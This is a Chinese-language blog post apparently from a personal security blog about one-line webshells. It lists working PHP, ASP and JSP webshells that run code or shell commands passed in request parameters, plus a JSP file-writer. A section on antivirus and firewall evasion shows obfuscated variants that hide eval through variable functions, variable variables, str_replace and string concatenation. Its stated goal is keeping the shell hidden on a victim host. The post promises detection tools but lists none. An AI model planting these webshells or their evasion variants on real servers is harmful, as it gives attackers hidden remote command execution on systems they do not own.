Tommonkey

All greatness comes from a brave beginning

0%

Wellshell一句话木马

何为一句话木马?他跟其他木马有什么区别吗?
一句话木马的叫法是来自他代码结构简单,简单到什么地步?最简单的一句话木马甚至可以就一句代码就结束了,比如经典PHP一句话:<?php @eval($_POST[‘cmd’]);?>。

一句话木马类型

  • PHP一句话木马
  • jsp一句话木马
  • asp一句话木马
  • ……

PHP一句话

先上一个最简单的列子:

<?php @eval($_POST[‘passwd’]);?>
<?php system($_POST[‘passwd’]);?>
<?php @eval(system($_POST[‘cmd’]));?>
<?php @assert(($_POST[‘passwd’]);?>

第一个是代码执行(eval),第二个是命令执行(system)。其中@符号的作用是代码执行报错仍然继续执行。参数passwd是我们连接木马时的“暗号”,也叫密码。

免杀与绕过

为了更加隐蔽的藏在受害者主机不被杀毒软件发现,又或者是需要突破防火墙的拦截,一句话木马也需要做伪装和代码上的变形来躲过各种检测机制。

举例1:

1
2
3
4
<?php 
$a="eval";
$a(@$_POST['a']);
?>

分析这部分代码:给变量a赋值为:eval,那第二行代码真实的样子为:

eval(@$_POST[‘a’]

举例2:

1
2
3
4
5
<?php
$bb="eval";
$a="bb";
$$a($_POST['a']);
?>

变量bb赋值为:eval,变量a赋值为:bb,前面两行的铺垫都是为了第三行代码的执行,其真实的样子为:$bb($_POST[‘a’]); -> eval($_POST[‘a’]);

举例3:

1
2
3
4
<?php
$a=str_replace("Waldo","","eWaldoval");
$a(@$_POST['a']);
?>

str_replace()函数字符串替换函数,第一个参数为查找字符串,第二个参数为需替换的字符串,第三个字符串为被替换字符串。str_replace(“Waldo”,””,”eWaldoval”),在ewaldoval中查找waldo,并替换成空字符串,及:”eval” 。

举例4

1
2
3
4
5
<?php
$a="e"."v";$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

这里的‘.’表示连接的意思,通过变量的凭借来达成目的。
以上这都是一些最简单的构成方式

asp一句话

跟PHP一样先上一个最简单的asp一句话:

<%eval request (“passwd”)%>

这里的变化就是开头的格式与请求方式不一样
,这里摘选来自互联网的实列:

1
2
3
4
5
6
7
<%execute request("passwd")%>

<%execute(request("passwd"))%>

<%ExecuteGlobal request("passwd")%>

<%Eval(Request(chr(35)))%>

jsp一句话

jsp标签含义:

1
2
3
4
<%@ %>    页面指令,设定页面属性和特征信息
<% %> java代码片段,不能在此声明方法
<%! %> java代码声明,声明全局变量或当前页面的方法
<%= %> Java表达式

简单一句话:
eg1:

<% Runtime.getRuntime().exec(request.getParameter(“cmd”)); %>

eg2:

1
2
3
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

Webshell检测工具

这里推荐两个检测工具:

奖励作者买杯可乐?